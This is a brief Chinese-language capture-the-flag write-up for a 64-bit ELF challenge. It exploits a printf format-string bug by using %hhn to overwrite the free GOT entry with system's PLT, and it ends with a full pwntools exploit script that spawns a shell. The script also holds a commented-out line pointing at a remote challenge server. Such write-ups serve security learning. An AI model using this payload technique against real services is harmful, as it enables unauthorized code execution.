1.用file查看文件类型: 64位ELF no stripped
2.checksec查看文件开启保护: GOT可劫持 非PIE
3.IDA 分析文件: prinf 格式化漏洞
4.分析代码,程序调用了system, printf之后调用了free。查看free got表的内容为0x401036 与 system plt的地址0x401060 就差最后一个字节。那么想法修改free got的内容为system的plt。而free的参数buf 正好可以作为system的参数。那么就直接构造类似'/bin/sh #' 获取shell
5.确定修改printf参数的地址: 先随机输入12345678 确定参数的栈上地址为 %10。
然后由于payload 要输入 '/bin/sh #' 且需要修改字符字节数为0x60。 使用printf的$hhn修改单个字节
那么构造payload如下
```shell
payload=b'/bin/sh #'+b'%87c%13$hhn'+b'A'*4+p64(bin.got['free'])
```
其中`b'/bin/sh #'+b'%87c%13$hhn'+b'A'*4`占了24字节,所有bin.got['free']的地址从
为第13个。
6.最后的exp如下:
```python
frompwnimport*
bin= ELF('./formatini')
context.log_level ='debug'
context.terminal = ['tmux','splitw','-h']
p = process('./formatini')
#gdb.attach(p)
#p = remote('82.157.146.43', 17626)
p.recvuntil('name? ')
payload =b'/bin/sh #'+b'%87c%13$hhn'+b'A'*4+p64(bin.got['free'])
p.send(payload)
p.interactive()
```